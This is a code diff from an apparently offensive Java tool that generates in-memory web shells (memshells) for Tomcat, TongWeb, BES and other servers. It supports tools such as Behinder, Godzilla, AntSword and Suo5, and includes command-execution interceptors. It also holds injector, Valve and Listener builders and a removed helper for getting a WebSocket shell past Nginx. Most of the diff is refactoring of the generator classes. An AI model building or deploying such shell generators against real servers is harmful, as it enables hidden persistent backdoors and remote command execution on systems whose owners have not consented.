.build()); .build());
} }
@@ -9,9 +9,7 @@ public class ShellTool {
public static final String Behinder = "Behinder"; public static final String Behinder = "Behinder";
public static final String Command = "Command"; public static final String Command = "Command";
public static final String Suo5 = "Suo5"; public static final String Suo5 = "Suo5";
public static final String Suo5v2 = "Suo5v2";
public static final String AntSword = "AntSword"; public static final String AntSword = "AntSword";
public static final String NeoreGeorg = "NeoreGeorg"; public static final String NeoreGeorg = "NeoreGeorg";
public static final String Proxy = "Proxy";
public static final String Custom = "Custom"; public static final String Custom = "Custom";
} }
@@ -23,11 +23,9 @@ public class ShellToolFactory {
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class); register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class); register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class); register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
register(ShellTool.Suo5v2, Suo5V2Generator.class, Suo5Config.class);
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class); register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class); register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class); register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
register(ShellTool.Proxy, ProxyGenerator.class, ProxyConfig.class);
} }
public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) { public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
@@ -15,22 +15,17 @@ public class ShellType {
public static final String JAKARTA_LISTENER = JAKARTA + LISTENER; public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
public static final String VALVE = "Valve"; public static final String VALVE = "Valve";
public static final String UPGRADE = "Upgrade";
public static final String JAKARTA_VALVE = JAKARTA + VALVE; public static final String JAKARTA_VALVE = JAKARTA + VALVE;
public static final String PROXY_VALVE = "Proxy" + VALVE; public static final String PROXY_VALVE = "Proxy" + VALVE;
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE; public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
public static final String HANDLER = "Handler";
public static final String JAKARTA_HANDLER = JAKARTA + HANDLER;
public static final String CUSTOMIZER = "Customizer";
public static final String NETTY_HANDLER = "NettyHandler"; public static final String NETTY_HANDLER = "NettyHandler";
public static final String AGENT = "Agent"; public static final String AGENT = "Agent";
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain"; public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve"; public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
public static final String JETTY_AGENT_HANDLER = AGENT + HANDLER; public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler"; public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager"; public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext"; public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
@@ -45,9 +40,5 @@ public class ShellType {
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod"; public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction"; public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
public static final String WEBSOCKET = "WebSocket"; public static final String WEBSOCKET = "WebSocket";
public static final String BYPASS_NGINX_WEBSOCKET = "BypassNginx" + WEBSOCKET;
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket"; public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
public static final String ACTION = "Action";
} }
@@ -15,42 +15,15 @@ import org.apache.commons.lang3.StringUtils;
@SuperBuilder @SuperBuilder
@ToString @ToString
public class CommandConfig extends ShellToolConfig { public class CommandConfig extends ShellToolConfig {
/**
* 接收参数的请求头或请求参数名称
*/
@Builder.Default @Builder.Default
private String paramName = CommonUtil.getRandomString(8); private String paramName = CommonUtil.getRandomString(8);
/**
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
*/
@Builder.Default
private String headerName = "User-Agent";
/**
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
*/
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
/**
* 加密器
*/
@Builder.Default @Builder.Default
private Encryptor encryptor = Encryptor.RAW; private Encryptor encryptor = Encryptor.RAW;
/**
* 实现类
*/
@Builder.Default @Builder.Default
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec; private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
/**
* 命令执行模板,使用 {command} 作为占位符
*/
private String template;
public static abstract class CommandConfigBuilder<C extends CommandConfig, B extends CommandConfig.CommandConfigBuilder<C, B>> public static abstract class CommandConfigBuilder<C extends CommandConfig, B extends CommandConfig.CommandConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> { extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B paramName(String paramName) { public B paramName(String paramName) {
@@ -60,22 +33,6 @@ public class CommandConfig extends ShellToolConfig {
} }
return self(); return self();
} }
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
} }
@@ -16,38 +16,37 @@ import net.bytebuddy.dynamic.DynamicType;
@AllArgsConstructor @AllArgsConstructor
@Builder(toBuilder = true) @Builder(toBuilder = true)
public class InjectorConfig { public class InjectorConfig {
/**
* 注入器 Builder
*/
DynamicType.Builder<?> injectorBuilder;
/**
* 内存马 Builder
*/
DynamicType.Builder<?> shellBuilder;
/** /**
* 注入器模板类 * 注入器模板类
*/ */
private Class<?> injectorClass; private Class<?> injectorClass;
/** /**
* 注入器类名 * 注入器类名
*/ */
@Builder.Default @Builder.Default
private String injectorClassName = CommonUtil.generateInjectorClassName(); private String injectorClassName = CommonUtil.generateInjectorClassName();
/** /**
* 注入访问的地址 * 注入访问的地址
*/ */
@Builder.Default @Builder.Default
private String urlPattern = "/*"; private String urlPattern = "/*";
/** /**
* 内存马类名 * 内存马类名
*/ */
private String shellClassName; private String shellClassName;
/** /**
* 内存马类字节 * 内存马类字节
*/ */
private byte[] shellClassBytes; private byte[] shellClassBytes;
/**
* 辅助类字节码
*/
private byte[] helperClassBytes;
/** /**
* 添加静态代码块调用构造方法初始化 * 添加静态代码块调用构造方法初始化
*/ */
@@ -1,38 +0,0 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
@Getter
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
@ToString
public class ProxyConfig extends ShellToolConfig {
@Builder.Default
private String headerName = "User-Agent";
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
public static abstract class ProxyConfigBuilder<C extends ProxyConfig, B extends ProxyConfig.ProxyConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
}
@@ -55,36 +55,19 @@ public class ShellConfig {
@Builder.Default @Builder.Default
private boolean debug = false; private boolean debug = false;
/**
* 是否使用回显模式
*/
@Builder.Default
private boolean probe = false;
/** /**
* 是否启用缩小字节码 * 是否启用缩小字节码
*/ */
@Builder.Default @Builder.Default
private boolean shrink = false; private boolean shrink = false;
/**
* 追加 Lambda 类名后缀
*/
@Builder.Default
private boolean lambdaSuffix = false;
/**
* 将 Java EE 转换为 Jakarta EE 类名
*/
@Builder.Default
private boolean jakarta = false;
public boolean isDebugOff() { public boolean isDebugOff() {
return !debug; return !debug;
} }
public boolean isJakarta() { public boolean isJakarta() {
return jakarta || shellType.startsWith(ShellType.JAKARTA); return shellType.startsWith(ShellType.JAKARTA);
} }
public boolean needByPassJavaModule() { public boolean needByPassJavaModule() {
@@ -0,0 +1,19 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ShellGenerator;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
/**
* @author ReaJason
* @since 2025/5/27
*/
public abstract class ASMShellGenerator<T extends ShellToolConfig> implements ShellGenerator {
protected final ShellConfig shellConfig;
protected final T shellToolConfig;
protected ASMShellGenerator(ShellConfig shellConfig, T shellToolConfig) {
this.shellConfig = shellConfig;
this.shellToolConfig = shellToolConfig;
}
}
@@ -1,10 +1,16 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.GenerationException; import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.ShellGenerator; import com.reajason.javaweb.ShellGenerator;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.server.AbstractServer;
import net.bytebuddy.description.type.TypeDescription; import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
@@ -23,31 +29,43 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
protected abstract DynamicType.Builder<?> getBuilder(); protected abstract DynamicType.Builder<?> getBuilder();
protected byte[] postProcessBytes(byte[] classBytes) {
return classBytes;
}
@Override @Override
public byte[] getBytes() { public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder(); DynamicType.Builder<?> builder = getBuilder();
String shellClassName = shellToolConfig.getShellClassName(); String shellClassName = shellToolConfig.getShellClassName();
Class<?> shellClass = shellToolConfig.getShellClass(); Class<?> shellClass = shellToolConfig.getShellClass();
if (shellClass != null) { if (shellClass != null) {
shellToolConfig.setShellTypeDescription(TypeDescription.ForLoadedType.of(shellClass)); shellToolConfig.setShellTypeDescription(TypeDescription.ForLoadedType.of(shellClass));
} }
if (shellToolConfig.getShellTypeDescription() == null) { if (shellToolConfig.getShellTypeDescription() == null) {
throw new GenerationException("shellClass or shellTypeDescription could not be null."); throw new GenerationException("shellClass or shellTypeDescription could not be null.");
} }
builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig) String shellType = shellConfig.getShellType();
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellToolConfig.getShellTypeDescription(), shellClassName);
}
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
builder = ValveGenerator.build(builder, server, shellConfig.getServerVersion());
}
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
builder = builder
.name(shellClassName) .name(shellClassName)
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())); .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
try (DynamicType.Unloaded<?> unloaded = builder.make()) { try (DynamicType.Unloaded<?> unloaded = builder.make()) {
byte[] bytes = postProcessBytes(unloaded.getBytes()); return ClassBytesShrink.shrink(unloaded.getBytes(), shellConfig.isShrink());
return ProcessorRegistry.applyByteProcessors(bytes, shellConfig, shellToolConfig);
} }
} }
} }
@@ -49,12 +49,6 @@ public class InjectorGenerator {
.method(named("getBase64String")).intercept(FixedValue.value(base64String)) .method(named("getBase64String")).intercept(FixedValue.value(base64String))
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName())); .method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
byte[] helperClassBytes = injectorConfig.getHelperClassBytes();
if (helperClassBytes != null) {
String helperBase64 = Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(helperClassBytes));
builder = builder.method(named("getHelperBase64String")).intercept(FixedValue.value(helperBase64));
}
if (shellConfig.needByPassJavaModule()) { if (shellConfig.needByPassJavaModule()) {
builder = ByPassJavaModuleInterceptor.extend(builder); builder = ByPassJavaModuleInterceptor.extend(builder);
} }
@@ -0,0 +1,53 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.method.MethodDescription;
import net.bytebuddy.description.method.MethodList;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue;
import net.bytebuddy.matcher.ElementMatchers;
import static net.bytebuddy.matcher.ElementMatchers.named;
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
/**
* @author ReaJason
* @since 2025/2/22
*/
public class ListenerGenerator {
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor,
TypeDescription typeDefinition, String newClassName) {
MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
if (methods.filter(ElementMatchers.named("getResponseFromRequest")
.and(ElementMatchers.takesArguments(Object.class))
.and(ElementMatchers.returns(Object.class)))
.isEmpty()) {
throw new GenerationException("[public Object getResponseFromRequest(Object request)] method not found" +
" make sure arg and return type is Object.class");
} else {
builder = builder
.visit(MethodCallReplaceVisitorWrapper.newInstance(
"getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
}
if (methods.filter(named("getFieldValue")
.and(takesArguments(Object.class, String.class)))
.isEmpty()) {
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(Object.class, String.class)
.throwing(Exception.class)
.intercept(FixedValue.nullValue())
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
}
return builder;
}
}
@@ -1,12 +0,0 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
/**
* @author ReaJason
* @since 2025/12/7
*/
public interface Processor<T> {
T process(T input, ShellConfig shellConfig, ShellToolConfig shellToolConfig);
}
@@ -1,52 +0,0 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.processors.*;
import net.bytebuddy.dynamic.DynamicType;
import java.util.Arrays;
import java.util.List;
/**
* @author ReaJason
* @since 2025/12/7
*/
public final class ProcessorRegistry {
private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList(
new ListenerBuilderModifier(),
new ValveBuilderModifier(),
new DebugOffBuilderModifier()
);
private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
new JakartaPostProcessor(),
new JettyHandlerPostProcessor(),
new ShrinkPostProcessor()
);
private ProcessorRegistry() {
// Prevent instantiation
}
public static DynamicType.Builder<?> applyBuilderProcessors(
DynamicType.Builder<?> builder,
ShellConfig shellConfig,
ShellToolConfig shellToolConfig) {
for (Processor<DynamicType.Builder<?>> processor : BUILDER_PROCESSORS) {
builder = processor.process(builder, shellConfig, shellToolConfig);
}
return builder;
}
public static byte[] applyByteProcessors(
byte[] bytes,
ShellConfig shellConfig,
ShellToolConfig shellToolConfig) {
for (Processor<byte[]> processor : BYTE_PROCESSORS) {
bytes = processor.process(bytes, shellConfig, shellToolConfig);
}
return bytes;
}
}
@@ -1,17 +0,0 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.ProxyConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
public class ProxyGenerator extends ByteBuddyShellGenerator<ProxyConfig> {
public ProxyGenerator(ShellConfig shellConfig, ProxyConfig shellToolConfig) {
super(shellConfig, shellToolConfig);
}
@Override
protected DynamicType.Builder<?> getBuilder() {
return new ByteBuddy().redefine(shellToolConfig.getShellClass());
}
}
@@ -1,46 +0,0 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.Suo5Config;
import com.reajason.javaweb.memshell.shelltool.suo5v2.Suo5v2;
import com.reajason.javaweb.utils.CommonUtil;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.codec.binary.Base64;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2025/2/12
*/
public class Suo5V2Generator extends ByteBuddyShellGenerator<Suo5Config> {
public Suo5V2Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
super(shellConfig, suo5Config);
}
@Override
protected DynamicType.Builder<?> getBuilder() {
if (Suo5v2.class.equals(shellToolConfig.getShellClass())) {
return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
}
try (DynamicType.Unloaded<Suo5v2> unloaded = new ByteBuddy()
.redefine(Suo5v2.class)
.name(CommonUtil.generateClassName())
.field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue())
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
.make()) {
byte[] shrinkBytes = ClassBytesShrink.shrink(unloaded.getBytes(), true);
return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("suo5V2GZipBase64")).value(Base64.encodeBase64String(CommonUtil.gzipCompress(shrinkBytes)));
}
}
}
@@ -1,11 +1,6 @@
package com.reajason.javaweb.memshell.generator.processors; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.GenerationException; import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.Processor;
import com.reajason.javaweb.memshell.server.AbstractServer; import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.memshell.server.Bes; import com.reajason.javaweb.memshell.server.Bes;
import com.reajason.javaweb.memshell.server.TongWeb; import com.reajason.javaweb.memshell.server.TongWeb;
@@ -17,7 +12,6 @@ import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.Implementation; import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.jar.asm.ClassVisitor; import net.bytebuddy.jar.asm.ClassVisitor;
import net.bytebuddy.jar.asm.Opcodes;
import net.bytebuddy.jar.asm.commons.ClassRemapper; import net.bytebuddy.jar.asm.commons.ClassRemapper;
import net.bytebuddy.jar.asm.commons.Remapper; import net.bytebuddy.jar.asm.commons.Remapper;
import net.bytebuddy.pool.TypePool; import net.bytebuddy.pool.TypePool;
@@ -26,19 +20,9 @@ import org.jetbrains.annotations.NotNull;
/** /**
* @author ReaJason * @author ReaJason
* @since 2025/12/7 * @since 2025/2/22
*/ */
public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> { public class ValveGenerator {
@Override
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
String shellType = shellConfig.getShellType();
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
builder = modifier(builder, server, shellConfig.getServerVersion());
}
return builder;
}
public static final String CATALINA_VALVE_PACKAGE = "org.apache.catalina"; public static final String CATALINA_VALVE_PACKAGE = "org.apache.catalina";
public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier"; public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier";
@@ -46,15 +30,9 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina"; public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server"; public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) { public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
String packageName = null; String packageName = null;
if (shell instanceof Bes) { if (serverVersion != null) {
packageName = BES_VALVE_PACKAGE;
}
if (shell instanceof TongWeb) {
if (serverVersion == null) {
throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8'] for shellConfig.serverVersion");
}
switch (serverVersion) { switch (serverVersion) {
case "6": case "6":
packageName = TONGWEB6_VALVE_PACKAGE; packageName = TONGWEB6_VALVE_PACKAGE;
@@ -65,14 +43,18 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
case "8": case "8":
packageName = TONGWEB8_VALVE_PACKAGE; packageName = TONGWEB8_VALVE_PACKAGE;
break; break;
default:
throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8'] for shellConfig.serverVersion");
} }
} }
if (StringUtils.isNotBlank(packageName)) { if (shell instanceof Bes) {
return builder.visit(new ValveRenameVisitorWrapper(packageName)); packageName = BES_VALVE_PACKAGE;
} }
return builder; if (StringUtils.isEmpty(packageName)) {
if (shell instanceof TongWeb) {
throw new GenerationException("serverVersion is needed for TongWeb valve shell, please use 6/7/8 for shellConfig.serverVersion");
}
return builder;
}
return builder.visit(new ValveRenameVisitorWrapper(packageName));
} }
public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper { public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
@@ -104,7 +86,7 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
int readerFlags) { int readerFlags) {
return new ClassRemapper( return new ClassRemapper(
classVisitor, classVisitor,
new Remapper(Opcodes.ASM9) { new Remapper() {
@Override @Override
public String map(String typeName) { public String map(String typeName) {
String packageName = CATALINA_VALVE_PACKAGE.replace(".", "/"); String packageName = CATALINA_VALVE_PACKAGE.replace(".", "/");
@@ -1,55 +0,0 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
import com.reajason.javaweb.utils.CommonUtil;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.lang3.tuple.Pair;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2026/1/13
*/
public class WebSocketByPassHelperGenerator {
public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
if (headerPair == null) {
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
}
if (Server.Tomcat.equals(shellConfig.getServer())) {
DynamicType.Builder<TomcatWsBypassValve> builder = new ByteBuddy()
.redefine(TomcatWsBypassValve.class)
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.field(named("headerName")).value(headerPair.getKey())
.field(named("headerValue")).value(headerPair.getValue())
.name(CommonUtil.generateClassName());
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
try (DynamicType.Unloaded<TomcatWsBypassValve> dynamicType = builder.make()) {
return ClassBytesShrink.shrink(dynamicType.getBytes(), shellConfig.isShrink());
}
}
return null;
}
private static Pair<String, String> getHeaderPair(ShellToolConfig shellToolConfig) {
if (shellToolConfig instanceof CommandConfig) {
return Pair.of(((CommandConfig) shellToolConfig).getHeaderName(), ((CommandConfig) shellToolConfig).getHeaderValue());
} else if (shellToolConfig instanceof GodzillaConfig) {
return Pair.of(((GodzillaConfig) shellToolConfig).getHeaderName(), ((GodzillaConfig) shellToolConfig).getHeaderValue());
} else if (shellToolConfig instanceof ProxyConfig) {
return Pair.of(((ProxyConfig) shellToolConfig).getHeaderName(), ((ProxyConfig) shellToolConfig).getHeaderValue());
}
return null;
}
}
@@ -1,6 +1,8 @@
package com.reajason.javaweb.memshell.generator.command; package com.reajason.javaweb.memshell.generator.command;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper; import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator; import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
@@ -31,6 +33,14 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
.field(named("paramName")) .field(named("paramName"))
.value(shellToolConfig.getParamName()); .value(shellToolConfig.getParamName());
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) { if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) {
builder = builder builder = builder
.visit(MethodCallReplaceVisitorWrapper.newInstance("getParam", .visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
@@ -42,17 +52,13 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString"))) .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam"))); .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
} }
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) { if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
builder = builder.visit(Advice.withCustomMapping() builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream")));
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
.to(RuntimeExecInterceptor.class)
.on(named("getInputStream")));
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) { } else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) {
builder = builder.visit(Advice.withCustomMapping() builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream")));
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
.to(ForkAndExecInterceptor.class)
.on(named("getInputStream")));
} }
return builder; return builder;
} }
} }
@@ -13,27 +13,9 @@ import java.lang.reflect.Method;
*/ */
public class ForkAndExecInterceptor { public class ForkAndExecInterceptor {
@Advice.OnMethodExit @Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String cmd, public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
@Advice.Return(readOnly = false) InputStream returnValue,
@TemplateAnnotation String template
) throws IOException {
try { try {
String[] cmdarray = null; String[] strs = cmd.split("\\s+");
String t = template;
